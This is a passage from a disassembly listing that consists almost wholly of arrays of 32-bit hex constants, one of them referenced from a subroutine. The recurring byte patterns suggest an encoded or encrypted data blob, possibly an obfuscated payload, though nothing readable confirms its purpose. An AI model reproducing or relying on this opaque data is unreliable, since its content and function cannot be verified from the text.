		dd 73CDE44Fh, 323E5195h, 3D567531h, 3256A63Eh, 0DCD63DB1h
		dd 32444792h, 768157B1h, 1CA68C24h, 0A6B5C7E9h,	36CC9D47h
		dd 89901AA6h, 0CA56D0D0h, 0A395EF4Eh, 20BFA8A6h, 0E95657B1h
		dd 0B56CA6B4h, 0F285C239h, 28602D38h, 633A87Fh,	0DB8645F4h
		dd 32565DBFh, 1D5E75Eh,	0A48693E3h, 7D60BF1h, 520E6D87h
		dd 3256E759h, 524BF0B1h, 9CD5142Dh, 8984CFE9h, 0C0DD4155h
		dd 0E2DC01E8h, 0C70CCAEEh, 32D6D5D9h, 323C1FB1h, 32567E58h
		dd 97F449B1h, 0D729BF5Dh, 563DFDFEh, 0A1B8E54Eh, 21BFADA6h
		dd 0ED56D5B1h, 1A2EA2CBh, 1C47A36Ah, 84B0151Eh,	0DF9ACF8Bh
		dd 0E2A99EC0h, 325ADEBEh, 0B359ABB1h, 3256D5B7h, 325668BEh
		dd 0DB3775B1h, 3256BAA3h, 0AD8A7B99h, 2602D412h, 19D969D6h
		dd 4039482Ah, 3D95456Ah, 3256FE3Dh, 3ABF15B1h, 6456BAB1h
		dd 0AE34BD0Bh, 545D0AA1h, 0F9EDBE30h, 3DBFFED0h, 3556D5B1h
		dd 0FF3B79FBh, 8E3ED7EDh, 2F6B865Bh, 0DEDD9B99h, 3EBFCE44h
		dd 765657B1h, 1CA68C24h, 0A6B5C7E9h, 0DACC9D47h, 325675B1h
		dd 94BC3BEBh, 0DB504A02h, 3256AEBAh, 7E6400C8h,	3F2F07F2h
		dd 0CE3E3157h, 0DB5E9F3Ah, 325675A3h, 7B0CF892h, 990B271h
		dd 91A803AAh, 0BDA3BE7Ah, 0B8BE22C9h, 3D56D5BCh, 3256FD3Ch
		dd 23D67AB1h, 0DB56BAB1h, 32565DBDh, 11C6460Ch,	52A97776h
		dd 5A87D41Fh, 0A0A920E4h, 34417897h, 0C597F5D1h, 0EDD17930h
		dd 3D3727C0h, 3256A936h, 855937B1h, 5308FA7Ah, 3CDCDAECh
		dd 0DB56EAB1h, 325675B8h, 48DE2E3Ch, 30823B7Ah,	3E23955Fh
		dd 0CDF6D2BEh, 0DAAA544Eh, 3256D898h, 32666EBEh, 0DB3675B1h
		dd 3256BABEh, 0CA622F4Fh, 0A9DDC297h, 7680C3B2h, 0DA6350EBh
		dd 3256D5A5h, 4AE9FA0Ch, 71715B68h, 0AF9F8428h,	0BC78939Ch
		dd 0AB2D8A0h, 3D3736EBh, 3256A63Ch, 325E3CB1h, 0B516EAB1h
		dd 1A74709Fh, 0DB9F8C74h, 32565DBBh, 0BB3F37E5h, 5DC7009Fh
		dd 3A94EB21h, 60AEB5B1h, 6C8855BEh, 33D27AD0h, 0CE56BAB1h
		dd 0DEDDA8E4h, 0CE922D48h, 32564358h, 0D802DBB1h, 0D3F8FF95h
		dd 0A36AF476h, 0F65D43F7h, 3EDB361Ah, 0DB360BACh, 3256AEBEh
		dd 2E73A39Ah, 0E0F28243h, 1778325Ch, 3D60660Fh,	3256773Ch
		dd 53BA30B1h, 38D352E6h, 0DB56AEB1h, 325657B4h,	21E8C94Bh
		dd 0B15986C2h, 3256EAB0h, 32569D49h, 0B30CBAB1h, 25E3555Bh
		dd 38D2A1B7h, 525657B1h, 548720D7h, 0D4BD3430h,	52378AD0h
		dd 3256F4BEh, 8D59BAB1h, 47DD3C79h, 324447B9h, 0ECEE57B1h
		dd 72BD5AA5h, 12FCDCDEh, 0EC74C109h, 0A60C0AFh,	0DB46C73Ah
		dd 32565DBAh, 4800845h,	9A4389AAh, 65A629F1h, 26BF8348h
		dd 4A56EAB1h, 0A06DA38h, 0B84AA7B8h, 9C391280h,	0D3B4283Dh
		dd 0DAF3C042h, 3256AA18h, 3D96DE49h, 32560235h,	35DB7AB1h
		dd 3D56BAB1h, 32565C33h, 0CADD5BB1h, 0B359024Dh, 3256ABA7h
		dd 325A3DD1h, 6E0AEAB1h, 5E749412h, 0BA1256B6h,	0B808BBBBh
		dd 0A0A9CF53h, 3441C597h, 3256AD58h, 0D93162B1h, 6F1F7A1Fh
		dd 325B9CD1h, 5A2EBAB1h, 0CDA24803h, 8D4DC25h, 0DBBB95B7h
		dd 3256ABBFh, 81CFBBFAh, 0AEB2E0E7h, 4A227403h,	9370305h
		dd 0B65951C4h, 3256AEC8h, 32564658h, 6470A9B1h,	7E456456h
		dd 50E58F63h, 7A70B9CCh, 0B93098E5h, 3ED352AFh,	0DB56AEB1h
		dd 325657B6h, 6876978Eh, 3D28BF9Eh, 3256EB3Fh, 0D5D68CB1h
		dd 0B859DA41h, 32565DB7h, 0C2016130h, 0C1DD28B9h, 3D4821D0h
		dd 3256D03Ch, 0B9308AB1h, 0D1D61476h, 2ABE4641h, 3D565D94h
		dd 3256BC31h, 325BBEB1h, 0E24CABB1h, 0EECC8A5Dh, 9A5EA102h
		dd 0DB72DA6Ch, 0CDA9445Eh, 0CE2BD44Dh, 0C4DB464Dh, 0B759A84Eh
		dd 3256ABB6h, 325756BEh, 0DBAAEAB1h, 325675BEh,	76F8ED34h
		dd 710D8FC3h, 8F0AF81Ch, 690FD4BEh, 325723BEh, 52AED5B1h
		dd 1BF13430h, 3CBE6C27h, 5A56BAB1h, 648659DCh, 0CD589CE8h
		dd 4DA4F5BFh, 0BCB02AC4h, 6856BE54h, 6CA3B5D0h,	324CF3BEh
		dd 0DB36BAB1h, 32565DA3h, 7546FB36h, 8B52FA8h, 9F0F108Ch
		dd 0FEF39735h, 53AE7EDFh, 52AA303Ah, 325C38BEh,	37BF5DB1h
		dd 1156AEB1h, 40462D66h, 539120D7h, 32593C78h, 0BBBAEAB1h
		dd 0D2B50BFAh, 3C8D7A44h, 0EE9203B7h, 325D4784h, 767757B1h
		dd 95E94E1Eh, 0D84E12BAh, 325A2831h, 8D362048h,	1EF3FC0Dh
		dd 0A6B1E5D7h, 0DBBA25D0h, 325657BEh, 347B6EA8h, 8E330002h
		dd 57324940h, 0B1BBF264h, 21BF4275h, 0FA565DB1h, 0D238CE0Eh
		dd 0C6D7C727h, 104C79BAh, 3433A246h, 0B859620Ah, 325675B0h
		dd 64A3ED4Dh, 32565758h, 8F792DB1h, 0A2863921h,	63CB090Ah
		dd 0BE598648h, 3256EAB0h, 0CA13B244h, 3256BAB1h, 3247DABEh
		dd 0DB36AEB1h, 325657BBh, 450FBE98h, 0BCE564B6h, 0F5370B8Dh
		dd 25C50233h, 3256BBB7h, 47DDA8B1h, 24D0A1B9h, 0DB5657B1h
		dd 3256ABA0h, 19218872h, 0C50D4C12h, 65AA3F87h,	277365EEh
		dd 0B930A1BCh, 88DD57AFh, 3441C672h, 0FCDD5ED1h, 3A095ED0h
		dd 0DB3712D1h, 325675A0h, 5E5FE33Eh, 1B0ADF85h,	9B88A94Fh
		dd 304822F8h, 3D8DA0D1h, 32568935h, 0EC6D13B1h,	326EF0BEh
		dd 0B9AABAB1h, 0B05951ECh, 3256AEBEh, 32565D58h, 0E43529B1h
		dd 0E77F3078h, 0DBBA8C22h, 325675B8h, 691EE9AFh, 3959E870h
		dd 3E09275Eh, 32565E58h, 0FC609B1h, 363BBDB8h, 0F5D5BC61h
		dd 0A0BF8CA5h, 3DA9454Eh, 32565132h, 34D0A1B1h,	3D5657B1h
		dd 3256AB34h, 2CDDB3B1h, 0DAAD6A4Dh, 3176F1BEh,	39BFBAB1h
		dd 0E3565DB1h, 7E761040h
		dd 8C82A5F8h, 0C9D6481Ch, 35D2DA58h, 0DB56EAB2h, 325675BAh
		dd 0BC8ADD63h, 547EE086h, 0B222558Ah, 0B659BC4Ah, 3256A95Fh
		dd 3256DC58h, 6B2C6CB1h, 9B64D77Fh, 0C9D6AF84h,	0F3D25253h
		dd 0DB56AEB3h, 325657BBh, 90C3FA55h, 0F1909296h, 0C9D601EEh
		dd 0BBD27A52h, 5256BAB3h, 8C30B102h, 0CE37BA76h, 55ADD6D7h
		dd 0A7D2A452h, 0CB56D5B3h, 52A60D31h
dword_5B54A8	dd 90E81344h, 0B330DB9Ch, 3DD6524Ah, 32543B35h,	0D1D6AEB1h
					; DATA XREF: sub_56207C:loc_5665D7o
		dd 27D3A441h, 0DB56D5B1h, 3256EAA1h, 37419F08h,	0AD37FB0h
		dd 221FD755h, 9C24661Ah, 32565C58h, 0DBA749B1h,	0EEBC0912h
		dd 3F868B12h, 3D268E31h, 3254E735h, 0B5593DB1h,	3256AEB7h
		dd 3256DEBEh, 0B330ABB1h, 539B7646h, 524861D7h,	3C2DCCD7h
		dd 53A60DBEh, 0CBAEBE31h, 8AAD2E48h, 336DD3BEh,	0B059ABB1h
		dd 3256D5ABh, 0DB0FBCD1h, 325675A0h, 0C94BB4B1h, 0CF474A37h
		dd 9669E43Ah, 3D8076A9h, 0CD6CA93h, 20D2DAB4h, 5256EAB0h
		dd 0CD61449h, 34D2B59Ch, 0DB565DB0h, 3256AEB6h,	0A63C1AE3h
		dd 0B218DF4Eh, 0B659BD8Fh, 3256EA40h, 31D87AD1h, 0B256BAB1h
		dd 0CD37D276h, 25C5D933h, 3251BEB7h, 0BB91ABB1h, 4B19BE3Dh
		dd 2CDD8CAFh, 0CAB1F549h, 32533CBEh, 0B2365DB1h, 54379A46h
		dd 0DAD7AC30h, 32E12FBEh, 54AED5B1h, 38BFF43Ah,	145675B1h
		dd 4F94CCB6h, 987C15DDh, 325C47F2h, 0D6BD57B1h,	41E8E9EEh
		dd 0D6DBA1A5h, 3DA60D31h, 32567235h, 33D2B5B1h,	0CA565DB1h
		dd 0B3AD2FD7h, 48D25871h, 3D56ABB1h, 3256C636h,	3FD9E5B1h
		dd 0DB5675B1h, 3256BAB9h, 0F25B86A4h, 0B1985B2h, 3250BED1h
		dd 8F1FABB1h, 0F0A9672Bh, 0BF598AE4h, 325675B4h, 4A46F08h
		dd 0F2D73BEBh, 0C737B53Dh, 0A070C54Eh, 6FA3ADA6h, 0CE135C48h
		dd 0B4EE8CD1h, 32DA7ADAh, 5356BAB1h, 3247B4D0h,	0E94AAEB1h
		dd 704F365Bh, 1607CE99h, 78A8F7BAh, 0B1BC5A85h,	3D5789CCh
		dd 32577734h, 30D052B1h, 5256AEB1h, 8FECDCD0h, 5250BABDh
		dd 8559DF04h, 52068B6Fh, 523715D1h, 8836DBD0h, 488112Fh
		dd 5337F7E7h, 0A121D53Ah, 0BAAADA6h, 38BFE58Dh,	1F56EAB1h
		dd 715BF157h, 9DD7D74Eh, 33DD52A9h, 0CA56AEB1h,	4DD458E9h
		dd 3D56ABB0h, 3256D237h, 33D7E5B1h, 0C75675B1h,	116B003Ah
		dd 62AF5BA0h, 325C2BBEh, 3D3657B1h, 3256AB38h, 530C84B1h
		dd 0A121683Ah, 0DA3673A6h, 3256BABAh, 0AEDD7250h, 8F57235Ah
		dd 3D2F1C33h, 3256AB3Ch, 79E28CB1h, 26AD3D0h, 32567D58h
		dd 4551E7B1h, 0DE951044h, 0BD59F651h, 32565693h, 324629BEh
		dd 39BFD5B1h, 1D56EAB1h, 0F82F2A7h, 56AD7194h, 5BFF3CCh
		dd 0CE56AEB1h, 30AE1276h, 5256ABB1h, 32513CD1h,	0EC83EAB1h
		dd 2D1ADB9Eh, 8559DB73h, 25BF3C67h, 0CA56AEB1h,	33AE1276h
		dd 0DB56ABB1h, 3256D5BBh, 1D770944h, 5B4C1FAh, 88DDEB30h
		dd 3441CC72h, 3256A258h, 5B7F96B1h, 5F278BC8h, 0FAC03DA2h
		dd 3DA38A46h, 32567333h, 0CD9C3BB1h, 533BBED2h,	22BFB13Ah
		dd 325657B1h, 0C29FB0A6h, 84AEF181h, 48807865h,	3933BAB8h
		dd 0B9D2B56Ah, 52565DB1h, 3D8F11BEh, 3256513Ah,	32D7A4B1h
		dd 5356D5B1h, 0B759348Ah, 3256759Dh, 3E0B314Dh,	0CA2BDE49h
		dd 37D2A1B1h, 0CE5657B1h, 0CBAEF6B2h, 0DB528A38h, 3256EABEh
		dd 5145B8Bh, 74381450h,	8800FF4h, 0CA2A3F83h, 52429032h
		dd 621A11D7h, 0CDD83CD0h, 1AA154Eh, 11DC7A71h, 5256BAB1h
		dd 32564C59h, 81D567B1h, 0E3BC7C91h, 0E5F2E71Ch, 0CC23FCF4h
		dd 0DB0FAA0Ah, 325675B4h, 0FCECA6DCh, 0D5BF3C0Ch, 3D56AEB2h
		dd 32565634h, 0B93057B1h, 2ADBDAAFh, 5256EAB1h,	0DB81CABEh
		dd 3256BABFh, 1F3D07A5h, 0DA1D4ADh, 316FA27Ah, 0B9379D43h
		dd 0B2A3D9CCh, 0B659014Ah, 325675FEh, 36EFDCD1h, 5388D72Ah
		dd 52A64D31h, 32DF58E3h, 6B56ABB1h, 0F3E8930Bh,	0C9D68BE8h
		dd 4BD27AC1h, 0DB56BAB1h, 32565DA3h, 8D5C1D3Ch,	5A934503h
		dd 0D806FAC8h, 4B363539h, 0F9BF4E28h, 3D5675B1h, 3256B030h
		dd 3253B4B1h, 6056AEB1h, 0F4DF4DF2h, 3D3642B6h,	12EF2206h
		dd 5378AD18h, 32573276h, 0DB56BAB1h, 32565DB9h,	0AD349BD5h
		dd 95894658h, 0B1AE6C3Ah, 0B759D071h, 3256EAA5h, 32567A58h
		dd 1BB9B3B1h, 0CF7D84AEh, 545ACE1Ch, 5652A6A6h,	3255B658h
		dd 33D7DAB1h, 0CA56EAB1h, 3D51B2D7h, 2CDC43B9h,	3DB5DD48h
		dd 325726BEh, 3DAE57B1h, 3256AA39h, 0F9D620B1h,	0B9308A31h
		dd 32539C73h, 2068BAB1h, 532DEBE8h, 5257F139h, 53A8E8BEh
		dd 538F20D1h, 32549276h, 5256EAB1h, 8EE813E1h, 0B930E014h
		dd 0F5DD3C73h, 34962D44h, 32565A58h, 6B036B1h, 0C36968FDh
		dd 478D370Dh, 9DBFF449h, 3D56BAB3h, 32565C30h, 0B33057B1h
		dd 3DC6C78Fh, 3256FA35h, 0B2AA2DB1h, 0B7597A8Fh, 325675DEh
		dd 3256A858h, 90AD64B1h, 5DE56EECh, 7DFF9F3h, 86C499C4h
		dd 541022DAh, 0A2A99430h, 11D27A21h, 0DB56BAB1h, 32565DBDh
		dd 765A3008h, 0C7AE6E19h, 6CB3C779h, 3256E358h,	35D9E5B1h
		dd 525675B1h, 8D59DBD1h, 0F5DD3C42h, 31DBA1D1h,	3D5657B1h
		dd 3D00650Eh, 3256D537h, 0DB37B4B1h, 32567783h,	3256B058h
		dd 0B60AF2B1h, 0E3724922h, 0BF717E36h, 25C29733h, 2CDCDAB7h
		dd 5256EAB1h, 32566459h, 8155B2B1h, 0EAE42011h,	0B1D75708h
		dd 0C8A1989Ah, 540E7B5Eh, 38B02730h, 0CB36BAD0h, 32567058h
		dd 0FE617DB1h, 6437E8D1h, 0B93052D1h, 0A0A93670h, 344139F4h
		dd 37D3DAD1h, 8A56EAB1h, 7E5095BCh, 32543EBEh, 69065DB1h
		dd 3D96A5D0h, 32560235h, 26BFCBB1h, 2256D5B1h, 1EFA4210h
		dd 0F76D0D30h, 0E15F0C56h, 0AB88EAC3h, 0B94D3CB2h, 0FADD3676h
		dd 3256A758h, 0F622D8B1h, 0FA0294B3h, 0F2616EE4h, 0EE437BCh
		dd 3D504A25h, 3256A83Fh, 0CFDC37B1h, 0DB37723Ah, 3256D5C0h
		dd 325E66BEh, 0B45975B1h, 3256BAB3h, 52003CD1h,	0B937573Ah
		dd 3D03AB7Fh, 3256A733h, 32513CB1h, 0D0DBEAB1h,	242B29A7h
		dd 0A0A942B4h, 3441CF97h, 19AEF349h, 0C5AFAB7Fh, 2DDDA468h
		dd 3D56D5B1h, 3256F334h, 32429CB1h, 926ABAB1h, 143020DDh
		dd 0D011BD03h, 9C4701E9h, 0C99B996Fh, 3D082467h, 3256E630h
		dd 34DA7AB1h, 3D56BAB1h, 32565D32h, 0CA2B2DB1h,	40D358B0h
		dd 0CE56ABB1h, 52AE9C01h, 0B5971C30h, 0B9591BF5h, 3256BAB1h
		dd 3BBFF7D0h, 0D456AEB1h, 0FDF1D4ACh, 0D6A6702h, 0B7596DD7h
		dd 325F6ABEh, 543675B1h, 54E6E80Ah, 54379A3Ah, 0C8DDCE1Ah
		dd 32DC58E7h, 6D56ABB1h, 74E0DAD0h, 324403B0h, 483775B1h
		dd 0E6E21FCBh, 0C5FEDFF9h, 34E3A6Ch, 8B8084DCh,	0AABF531Ah
		dd 0CB56D5B1h, 325160BEh, 883675B1h, 44A1E7D2h,	0CA2BDED0h
		dd 51D3A1B3h, 0DB5657B1h, 3256ABBAh, 4EAABCE3h,	0F2BFD667h
		dd 3D32F1FEh, 3256BB39h, 8A30A5B1h, 21BF67BAh, 0BE5657B1h
		dd 3B01FDA7h, 0D4D34613h, 7CD8FF5Dh, 0ACC5B8EBh, 99300D57h
		dd 3257D8BEh, 54AFAEB1h, 0CAD25809h, 3DAE00D7h,	0CE579307h
		dd 0B0594144h, 325675BDh, 3256BD58h, 1B6274B1h,	0EC4A1F17h
		dd 32564958h, 96A552B1h, 0DBB85FD1h, 3256EAA3h,	0A89301FDh
		dd 6C3E7E9Bh, 0BA5CFF07h, 27D1A331h, 0B937A4C6h, 520D5E76h
		dd 325058BEh, 0B959EAB1h, 325675B1h, 6B374B3Ah,	0DBEAECD1h
		dd 3256AEBDh, 0BF63C64Ch, 0CA9824AAh, 2066BB01h, 3D36B4D0h
		dd 3256743Dh, 0B95946B1h, 32565DB4h, 0C49F2FD7h, 0C709363Fh
		dd 32424278h, 3D8DD5B1h, 36B9C4E0h, 0E869F57Bh,	0FFCA2F62h
		dd 17908C84h, 0BE59D5B7h, 325657A2h, 325B20BEh,	3ABFD5B1h
		dd 856EAB1h, 9F0FCE8Ch,	0F0F3F835h, 0B7595DB9h,	3256AEB0h
		dd 3FBF0244h, 0FB56ABB1h, 97497016h, 0BAE5736h,	0F0CAA119h
		dd 0B159563Ah, 32565DB0h, 0B859CE44h, 325657B0h, 32534248h
		dd 0F425D5B1h, 0DA43DAD6h
		dd 325675B1h, 0D4BC3BEBh, 3D504A71h, 3256AF33h,	21BFABB1h
		dd 156ABB1h, 0DE0B033Eh, 0F3F2FC4Bh, 3F3D0F99h,	0C9468361h
		dd 77DDDC7Ah, 5436CEB9h, 0DB5DBA0Ah, 3256ABA0h,	0BCACE195h
		dd 0BBBF8DD4h, 0B17AF31Fh, 0AFAF5795h, 0BB373CACh, 25C75A33h
		dd 35D258B7h, 3D56ABB1h, 3256D43Ah, 0DB3712B1h,	325675BDh
		dd 0A1DF9E2Eh, 0A87A926Bh, 8BCFEA9Ah, 3694AE78h, 325D42B1h
		dd 0D6BD5B1h, 7D7A18C0h, 16268A01h, 23BFEF89h, 1A565DB1h
		dd 4E70669Eh, 6E32FB11h, 0EDEF3D9Ah, 67E8992Eh,	32576CBEh
		dd 0B9AE75B1h, 0F6D5425Dh, 21BF3D49h, 0BF56AEB1h, 2175ABE7h
		dd 522E7BF7h, 0EBE0E2D0h, 61FD63BDh, 5237D7F6h,	325C32BEh
		dd 3D365DB1h, 3256AE3Ah, 537BE7B1h, 32564349h, 0B30CD5B1h
		dd 2597565Bh, 32599CB7h, 15A4BAB1h, 0E6C29426h,	633D20D9h
		dd 0D79B9B43h, 3ADAA424h, 3D56D5B1h, 3256E837h,	0F53715B1h
		dd 325642F4h, 0B4595DB1h, 3256AEB5h, 538EDCD1h,	325128BEh
		dd 0BF59D5B1h, 3256EAB0h, 0CE13B248h, 3256BAB1h, 32565858h
		dd 33209AB1h, 0F265EDE1h, 3256AC58h, 5921C8B1h,	964289F9h
		dd 5248FED7h, 32573FBEh, 0B9AE5DB1h, 0B091CF60h, 3441C4C6h
		dd 3256ABB0h, 0FDDDB3D1h, 0C9D78CD0h, 0B759E521h, 3256BAACh
		dd 8A303D44h, 23BFC050h, 0C45657B1h, 737E650Eh,	96EF980Ah
		dd 735A7B93h, 4FC96386h, 0DAAD3AD0h, 3748D9BEh,	0B259AEB1h
		dd 325657BDh, 325027BEh, 0B059D5B1h, 3256EAB1h,	2AD97AF1h
		dd 0DB56BAB1h, 32565DA2h, 2016369Ah, 0CF3730Ah,	72293C8Ch
		dd 5EE53A02h, 0B2968297h, 0B6599C4Ah, 3256BE55h, 32565158h
		dd 994872B1h, 3537071Fh, 0D28267FAh, 3DAE954Dh,	3256EB3Bh
		dd 0C9D680B1h, 0F3D2B55Ah, 52565DB5h, 6829070Bh, 0F198D6AAh
		dd 5346DA57h, 325C3CF1h, 52C8EAB1h, 3C740EA6h, 0D9B28DDEh
		dd 3DA6BA31h, 3256BC3Ah, 35BF37B1h, 0CC56ABB1h,	0B480635Bh
		dd 8A304735h, 5437BF12h, 0B2594130h, 3628D9BEh,	0BB59AEB1h
		dd 325657A7h, 3256BA58h, 85E6A2B1h, 407B933Dh, 0BD1741B0h
		dd 158E8AA5h, 0B0556EECh, 34478C34h, 3257DDBEh,	72AFABB1h
		dd 32453CD1h, 1FDDEAB1h, 0E32B0C0Dh, 6AA187EFh,	0F452B6E4h
		dd 0FBD0EB83h, 3EBF3684h, 9E56ABB1h, 6CC5588Ch,	35488A7Eh
		dd 0B2988B0Fh, 0B659584Ah, 325659B3h, 0D1AD2E4Dh, 3193D3BEh
		dd 3BBFABB1h, 1056D5B1h, 3D6D2010h, 7378FE00h, 0C9D7DC4Dh
		dd 0B659BED6h, 3256AD6Fh, 32564558h, 2A2D8EB1h,	549CEF8Fh
		dd 7CB69C44h, 0F4D2D4A5h, 0B2BEC903h, 0DB36AD52h, 3256AEBBh
		dd 149F1E84h, 924C6352h, 34BF122Bh, 0CD56EAB1h,	40C17FCAh
		dd 0C9D6DBA2h, 8FD252C1h, 5256AEB2h, 3255D0BEh,	8D59ABB1h
		dd 538F5E6Ah, 0DB4861D7h, 325675B6h, 890E477Dh,	0B23D371Bh
		dd 3BBF5652h, 675657B1h, 0E73A733Eh, 0F04EFAC9h, 32576DBEh
		dd 0B2AE75B1h, 0B659024Ah, 32565CC2h, 33D1A1D1h, 0CA5657B1h
		dd 95802AD7h, 0CD6B411h, 6ED2E5B4h, 0CE5675B0h,	1F683A44h
		dd 3307D9BEh, 0B2AEAEB1h, 0B6593F8Fh, 3256AAF6h, 32423C4Dh
		dd 0C623EAB1h, 3897E2Eh, 71268E3Bh, 6F7EB741h, 7D25896Fh
		dd 0C7167B40h, 3256A458h, 23346AB1h, 74A763B3h,	0BBC3DB27h
		dd 0DC0B02F3h, 0A121DF4Eh, 8D36A8A6h, 3523148Ah, 0D2A12AD7h
		dd 0B930B40Bh, 324703AFh, 0BF0775B1h, 8CE91CCEh, 1A4F0A57h
		dd 0EF24D53h, 0B254FA66h, 0B3365356h, 3B967170h, 534659B6h
		dd 0B3ADF4D7h, 0E6D2B559h, 0DB565DB1h, 3256AEBDh, 9962B4C3h
		dd 334CA02Dh, 0FEFB84BDh, 3D4861D7h, 32567438h,	0D5D643B1h
		dd 0B330A841h, 3D962F4Ah, 3256FD35h, 24DFA4B1h,	3D56D5B1h
		dd 3256FA32h, 325D9CB1h, 44FDBAB1h, 7F8FF43Fh, 97F35BEEh
		dd 0DB363724h, 3256ABA1h, 391D71E1h, 0CA824E4Ah, 77964AF7h
		dd 8C40ADDh, 534B8B31h,	325124BEh, 543657B1h, 0E617830h
		dd 0CDAF80D0h, 25C4CC23h, 0DB0B8CB7h, 3256BAB6h, 6BF6F228h
		dd 3DD2CA25h, 32565639h, 77DF5EB1h, 24D8DA4Dh, 3D56EAB1h
		dd 32566530h, 325D53B1h, 0CBD85DB1h, 36134689h,	71FBC9D9h
		dd 3CBFCA6Eh, 7656D5B1h, 8E82E2C6h, 0B19DD8E7h,	3932C304h
		dd 0CE2BDE53h, 0BAD3A1B0h, 0DB5657B7h, 3256ABB6h, 398C52DDh
		dd 0B95F3879h, 235AC80Bh, 3D064FB7h, 3256473Dh,	26DBA1B1h
		dd 0DB5657B1h, 3256ABBEh, 0DD68923Eh, 636EF65h,	0CCA81BA7h
		dd 0B932C9BFh, 25C52A33h, 325947B7h, 0B0A357B1h, 4F8A67E2h
		dd 0FB1B9E27h, 7F783533h, 26A4C5Fh, 3D520FD1h, 32565B32h
		dd 32DEA1B1h, 535657B1h, 12D4A4E9h, 3D56D5B7h, 3256F93Bh
		dd 32589CB1h, 1170BAB1h, 4583484Ch, 94738882h, 7E0F3F14h
		dd 116B113Ah, 62AFD3A0h, 3256E658h, 1161B1B1h, 59412AADh
		dd 11C89B19h, 45D42544h, 3D504022h, 3256AA34h, 0E6F29B1h
		dd 2AD7E581h, 525675B1h, 3256B558h, 0F63B75B1h,	98963014h
		dd 60EA790h, 0B94DA2BFh, 6A37333Bh, 37EF65BEh, 26BF75B1h
		dd 2E56BAB1h, 0F3C47C4Dh, 6402A2BFh, 118E7B84h,	0F9C2ED3Eh
		dd 0B9CA9AD9h, 25C70A0Bh, 325E9CB7h, 5A1DBAB1h,	0E8FD177Eh
		dd 0B0D53146h, 3441C651h, 0B059CBA5h, 3256D5B7h, 32566FBEh
		dd 0B93075B1h, 5DFDB68h, 32564E58h, 523F60B1h, 8E43DDD9h
		dd 983BF5B0h, 0CEE6631Dh, 9A3B2E44h, 0DB463238h, 3256BABBh
		dd 2F2CDF83h, 576CD5FEh, 0CE36B1DAh, 0C0DD5ED1h, 0DB06B4D0h
		dd 3256EAA1h, 49702406h, 0F09F37F2h, 0C2E27CF7h, 51D8FE44h
		dd 0A121D53Ah, 26BFADA6h, 0C756D5B1h, 0C4074DB4h, 0D5148B5Bh
		dd 62B145CCh, 0EB226D11h, 0B97CED13h, 0BE5967ADh, 3256ABA9h
		dd 3256C658h, 5A2067B1h, 9DDB981h, 2747C55Fh, 43AD7B60h
		dd 235AAC7h, 32565E58h,	0B71197B1h, 0C1417D93h,	0CA0E22BCh
		dd 525E2A38h, 5F51C90Ah, 55C2E388h, 0DB37C113h,	32565376h
		dd 325728BEh, 0F5AFD5B1h, 325412F4h, 0BD5975B1h, 3256BAB9h
		dd 3254DDBEh, 5336AEB1h, 32566058h, 21BF53B1h, 0E56D5B1h
		dd 0C1C5FA70h, 6C160118h, 0C3B28FAFh, 92BC65EAh, 779120BBh
		dd 32565649h, 324442B1h, 684AD5B1h, 0A2AE44D2h,	5459AFE2h
		dd 8C3E9E91h, 0BC68D968h, 0A3B6143Ah, 38BF51A6h, 1556ABB1h
		dd 8B4C8661h, 0B6CE757Ah, 0D2D4F6FEh, 2650AD20h, 5261D448h
		dd 3EBF5C3Ah, 1E5657B1h, 790F5A03h, 0B384E51Fh,	53AD7317h
		dd 52463238h, 32553ABEh, 8D595DB1h, 0CAD5CF63h,	7DD358B2h
		dd 5256ABB1h, 3256DC58h, 0DDE635B1h, 0DAA0787h,	0CE372AD7h
		dd 0A121DF76h, 3254A8A6h, 0BB5957B1h, 3256ABA9h, 3256C658h
		dd 4AF084B1h, 99884C57h, 0DF12555Fh, 1D6B9BA8h,	3DCCB6E6h
		dd 32564C58h, 34BFCBB1h, 0FB56D5B1h, 0D64D4Fh, 86EC137Eh
		dd 0CAD5DB15h, 6FDB52B3h, 0CB56AEB3h, 32AE2A32h, 328D2FBEh
		dd 3DAED5B1h, 0CE57AC07h, 325C9CD1h, 0B356BAB1h, 8D1BE475h
		dd 1824C22Eh, 539EDCD7h, 32562B18h, 49D3DAB1h, 0DB56EAB1h
		dd 325675B4h, 47AD14Ah,	37BF1D50h, 5756AEB1h, 578FC668h
		dd 325A42D1h, 40D6D5B1h, 4838F067h, 99CBD2C0h, 0B3063656h
		dd 4CB3E76Eh, 0B137F4D6h, 0DA365259h, 3256ABBAh, 9C7BA86Ch
		dd 85AAC0D3h, 833C8D09h, 4AEFE1C5h, 534C2BB6h, 3256E158h
		dd 38D658B1h, 5256ABB1h, 0B559163Ah, 3256EAB1h,	32429CD0h
		dd 2B72BAB1h, 9A33645Eh, 0E1DB9C1h, 0DC31B3Dh, 0A48B72E8h
		dd 0CD7B5A5Ah, 5256EAB1h
		dd 0B336893Bh, 50E9F45Ah, 3373E6BCh, 53379673h,	0DB53BF32h
		dd 3256ABB9h, 137A9924h, 0EE408853h, 32563458h,	0B759DAB1h
		dd 32565DB4h, 0F1F63A0Ah, 538FDD8Fh, 0B859F84Dh, 3256D5B6h
		dd 325768BEh, 0C7AE75B1h, 0A121203Ah, 0B2365BA6h, 8D301D78h
		dd 0B937B820h, 69A398B5h, 325E53BEh, 0BE59EAB1h, 325675B3h
		dd 32FFDBD1h, 3DD65DB1h, 32562734h, 3AD458B1h, 3D56ABB1h
		dd 3256D735h, 31378AB1h, 325A9C77h, 2780BAB1h, 6D42F141h
		dd 0B94B443h, 0F2D58B03h, 3BBF5EB4h, 0E56D5B1h,	0DDE74186h
		dd 4385C350h, 0A12138B2h, 0BA595BA6h, 3256AEBDh, 3250DABEh
		dd 0BF59ABB1h, 3256D5B1h, 0DAA38AF9h, 325675BFh, 82ACE435h
		dd 0D5A36C41h, 6ADA26D7h, 0B9303CE1h, 0BB37F167h, 3D36DDF6h
		dd 0BA59250Eh, 325675BAh, 3256BC58h, 2CDFA4B1h,	535904FFh
		dd 0CE5A1038h, 32548958h, 0EAA12DB1h, 325766BEh, 19AA75B1h
		dd 0B236DA77h, 0B930C342h, 3EBECF7Ah, 0AD5657B1h, 9D031F35h
		dd 0BAE6B7DDh, 0B3E48817h, 8BF4466Bh, 0DB37E3B9h, 32565DB4h
		dd 23D759EDh, 0DB8EA016h, 3256ABBBh, 91367F78h,	75A69C34h
		dd 0F2D50B08h, 0B05546B4h, 3441CEC6h, 325A24BEh, 0BD5957B1h
		dd 3256ABB7h, 32565ABEh, 0B236EAB1h, 53AA3A66h,	325A53F9h
		dd 95E65DB1h, 34657923h, 0EA8D6D58h, 75DFB9D9h,	3DD4DAB9h
